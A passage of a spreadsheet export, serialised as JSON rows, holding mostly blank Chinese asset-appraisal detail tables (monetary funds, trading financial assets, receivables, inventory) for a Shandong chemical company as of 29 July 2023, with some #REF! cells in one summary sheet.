[null,"山东莱芜农村商业银行股份有限公司钢城区支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"莱商银行股份有限公司钢城支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"中国银行莱芜金鼎支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"兴业银行股份有限公司上海沪闵支行",1.56802010400014e+16,{"$nulls":6},"",""]
[null,"中国农业银行股份有限公司莱芜金鼎支行",1.56802010400014e+16,{"$nulls":6},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
["合         计",{"$nulls":5},0,0,0,"",""]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-1-3其他货币资金","index":13,"n_rows":31,"n_cols":12,"rows_kept":31,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[28,0,28,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["货币资金—其他货币资金评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表3-1-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","名称及内容","用途","币种","外币账面金额","评估基准日汇率","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},"",""]
[]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":9},"",""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合         计",{"$nulls":5},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-2交易性金融资产汇总","index":14,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["交易性金融资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表3-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["3-2-1","交易性金融资产-股票投资",0,0,0,0,""]
["3-2-2","交易性金融资产-债券投资",0,0,0,0,""]
["3-2-3","交易性金融资产-基金投资",0,0,0,0,""]
{"$rows_empty":18}
["3-2","交易性金融资产合计",0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-2-1交易性-股票","index":15,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["交易性金融资产—股票投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表3-2-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","被投资单位名称","股票名称","投资日期","持股数量","成本","审计前账面值","账面价值","基准日收盘价/股","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},"","",""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":6}," ",null,null,"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
[{"$nulls":9},"",null,""]
["合          计",{"$nulls":5},0,0,null,0,0,""]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-2-2交易性-债券","index":16,"n_rows":30,"n_cols":13,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["交易性金融资产—债券投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":12},"表3-2-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":11},"金额单位：人民币元"]
["序号","被投资单位名称","债券名称","发行日期","投资日期","票面利率%","成本","审计前账面价值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},"",""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
[{"$nulls":11},""]
["合          计",{"$nulls":5},0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-2-3交易性-基金","index":17,"n_rows":30,"n_cols":14,"rows_kept":30,"hidden":true,"merged":[[1,0,1,12],[2,0,2,12],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["交易性金融资产—基金投资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":13},"表3-3-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":12},"金额单位：人民币元"]
["序号","基金发行单位","基金名称","基金类型","投资日期","基金份数","成本","审计前账面值","账面价值","基准日净值/份","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},"","",""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":7}," ",null,null,"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
[{"$nulls":10},"",null,""]
["合          计",{"$nulls":5},0,0,0,null,0,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-3应收票据","index":18,"n_rows":31,"n_cols":11,"rows_kept":31,"hidden":true,"merged":[[1,0,1,10],[2,0,2,10],[25,0,25,1],[26,0,26,1],[28,0,28,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应收票据评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":10},"表3-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","户名（结算对象)","出票日期","到期日期","票面利率%","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":8},"",""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[{"$nulls":9},""]
[]
[]
["合            计",{"$nulls":4},0,0,0,0]
["减：应收票据坏账准备"]
[null,"应收票据风险损失"]
["合            计",{"$nulls":4},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"Sheet2","index":19,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[5,1,5,3],[6,1,6,3],[7,1,7,3],[8,1,8,3],[9,1,9,3],[10,1,10,3],[11,1,11,3],[12,1,12,3],[13,1,13,3],[14,1,14,3],[15,1,15,3],[16,1,16,3],[17,1,17,3],[18,1,18,3],[19,1,19,3],[20,1,20,3],[21,1,21,3],[22,1,22,3],[23,1,23,3],[24,1,24,3],[25,1,25,3],[26,1,26,3],[27,1,27,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["流动资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["编号","科目名称",null,null,"审计前账面值","账面价值","评估价值","增减值","增值率%"]
["3-1","货币资金",null,null,0,0,0,0,""]
["3-2","交易性金融资产",null,null,0,0,0,0,""]
["3-3","应收票据",null,null,0,0,0,0,""]
["3-4","应收账款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-5","预付账款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-6","应收利息",null,null,0,0,0,0,""]
["3-7","应收股利",null,null,0,0,0,0,""]
["3-8","其他应收款",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["3-9","存货",null,null,0,0,0,0,""]
["3-10","一年内到期的非流动资产",null,null,0,0,0,0,""]
["3-11","其他流动资产",null,null,0,0,0,0,""]
{"$rows_empty":10}
[3,"流动资产合计",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-6应收利息","index":20,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应收利息评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表3-6"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","欠款单位名称（结算对象)","发生日期","本金","利息所属期间","利息率%","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},"",""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合            计",null,null,0,null,null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-7应收股利","index":21,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应收股利（应收利润）评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":9},"表3-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","股利（利润）所属期间","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":7},"",""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
["合            计",{"$nulls":3},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-9存货汇总","index":22,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表3-9"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["3-9-1","材料采购（在途物资）",0,0,0,0,""]
["3-9-2","原材料",0,0,0,0,""]
["3-9-3","在库周转材料",0,0,0,0,""]
["3-9-4","委托加工物资",0,0,0,0,""]
["3-9-5","产成品（库存商品）",0,0,0,0,""]
["3-9-6","在产品（自制半成品）",0,0,0,0,""]
["3-9-7","发出商品",0,0,0,0,""]
["3-9-8","在用周转材料",0,0,0,0,""]
{"$rows_empty":11}
[null,"合   计",0,0,0,0,""]
[null,"减：存货跌价准备",0,0,0,0,""]
[null,"合    计",0,0,0,0,""]
["产权持有人填表人："]
["填表日期：年月日"]

{"sheet":"3-9-1材料采购（在途物资）","index":23,"n_rows":54,"n_cols":15,"rows_kept":54,"hidden":true,"merged":[[1,0,1,14],[2,0,2,14],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,5,5],[5,6,5,8],[5,9,5,11],[5,12,6,12],[5,13,6,13],[5,14,6,14],[49,0,49,1],[50,0,50,1],[51,0,51,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—材料采购（在途物资）评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":14},"表3-9-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","名称及规格型号","计量单位","审计前账面值",null,null,"账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":3},"数量","单价","金额","数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":4},"",{"$nulls":7},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
{"$rows_empty":22}
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":12},"",""]
["合            计",{"$nulls":4},0,null,null,0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":10},0,0,""]
["合            计",{"$nulls":4},0,null,null,0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":8},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-9-2原材料","index":24,"n_rows":34,"n_cols":16,"rows_kept":34,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,5,5],[5,6,6,6],[5,7,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—原材料评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表3-9-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名称及规格型号","计量单位","审计前账面值",null,null,"存放地点","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":3},"数量","单价","金额",null,"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":4},"",{"$nulls":8},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":13},"",""]
["合            计",{"$nulls":4},0,{"$nulls":3},0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":11},0,0,""]
["合            计",{"$nulls":4},0,{"$nulls":3},0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":9},"评估人员："]
["填表日期：年月日"]
[null,"注1：","1）正常，无需填写；2）残次，填“A”；3）变质，填“B”；4）毁损，填“C”；5）滞销，填“E”；"]
[null,null,"6）积压，填“D”并在备注中填写已积压时间“1年以内”、“1~2年”、“2~3年”、“3年以上”；7）其他情形用文字表述。"]

{"sheet":"3-9-3在库周转材料","index":25,"n_rows":34,"n_cols":16,"rows_kept":34,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,5,5],[5,6,6,6],[5,7,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—在库周转材料评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表3-9-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名称及规格型号","计量单位","审计前账面值",null,null,"存放地点","账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":3},"数量","单价","金额",null,"数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":4},"",{"$nulls":8},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":4},"",{"$nulls":3},"",{"$nulls":4},"",""]
[{"$nulls":13},"",""]
["合            计",{"$nulls":4},0,{"$nulls":3},0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":11},0,0,""]
["合            计",{"$nulls":4},0,{"$nulls":3},0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":9},"评估人员："]
["填表日期：年月日"]
[null,"注1：","1）正常，无需填写；2）残次，填“A”；3）变质，填“B”；4）毁损，填“C”；5）滞销，填“E”；"]
[null,null,"6）积压，填“D”并在备注中填写已积压时间“1年以内”、“1~2年”、“2~3年”、“3年以上”；7）其他情形用文字表述。"]

{"sheet":"3-9-4委托加工物资","index":26,"n_rows":32,"n_cols":16,"rows_kept":32,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,5,6],[5,7,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—委托加工物资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表3-9-4"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名称及规格型号","加工单位名称","计量单位","审计前账面值",null,null,"账面价值",null,null,"评估价值",null,null,"增减值 ","增值率%","备注"]
[{"$nulls":4},"数量","单价","金额","数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":5},"",{"$nulls":7},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":13},"",""]
["合            计",{"$nulls":5},0,null,null,0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":11},0,0,""]
["合            计",{"$nulls":5},0,null,null,0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":9},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-9-5产成品（库存商品）","index":27,"n_rows":56,"n_cols":20,"rows_kept":56,"hidden":true,"merged":[[1,0,1,18],[2,0,2,18],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,5,6],[5,7,5,10],[5,11,5,15],[5,16,6,16],[5,17,6,17],[5,18,6,18],[5,19,6,19],[49,0,49,1],[50,0,50,1],[51,0,51,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—产成品（库存商品）评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":18},"表3-9-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":17},"金额单位：人民币元"]
["序号","名称","规格型号","计量  单位","审计前账面值",null,null,"账面价值",{"$nulls":3},"评估价值",{"$nulls":4},"增减值","增值率%","备注","存放地点"]
[{"$nulls":4},"数量","单价","金额","数量","外币单价","人民币单价","金额","实际数量","外币单价","人民币单价","汇率","金额"]
{"$rows_empty":41}
[{"$nulls":15},"",null,""]
["合            计",{"$nulls":5},0,{"$nulls":3},0,{"$nulls":4},0,null,""]
["减：存货跌价准备",{"$nulls":14},0,0,""]
["合            计",{"$nulls":5},0,{"$nulls":3},0,{"$nulls":4},0,null,""]
["产权持有人填表人："]
["填表日期：年月日"]
[null,"注1：",null,"1）正常，无需填写；2）残次，填“A”；3）变质，填“B”；4）毁损，填“C”；5）滞销，填“E”；"]
[{"$nulls":3},"6）积压，填“D”并在备注中填写已积压时间“1年以内”、“1~2年”、“2~3年”、“3年以上”；7）其他情形用文字表述。"]

{"sheet":"3-9-6在产品（自制半成品）","index":28,"n_rows":32,"n_cols":15,"rows_kept":32,"hidden":true,"merged":[[1,0,1,14],[2,0,2,14],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,5,5],[5,6,5,8],[5,9,5,11],[5,12,6,12],[5,13,6,13],[5,14,6,14],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—在产品（自制半成品）评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":14},"表3-9-6"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","名称及规格型号","计量单位","审计前账面值",null,null,"账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":3},"数量","单价","金额","数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":4},"",{"$nulls":7},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":4},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":12},"",""]
["合            计",{"$nulls":4},0,null,null,0,null,null,0,0,""]
["减：存货跌价准备",{"$nulls":10},0,0,""]
["合            计",{"$nulls":4},0,null,null,0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":8},"评估人员："]
["填表日期：年月日"]

{"sheet":"3-9-7发出商品","index":29,"n_rows":32,"n_cols":16,"rows_kept":32,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,5,6],[5,7,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[27,0,27,1],[28,0,28,1],[29,0,29,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["存货—发出商品评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表3-9-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","商品名称","对方单位名称","计量单位","审计前账面值",null,null,"账面价值",null,null,"评估价值",null,null,"增减值","增值率%","备注"]
[{"$nulls":4},"数量","单价","金额","数量","单价","金额","实际数量","评估单价","金额"]
[{"$nulls":5},"",{"$nulls":7},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
[{"$nulls":5},"",null,null,"",{"$nulls":4},"",""]
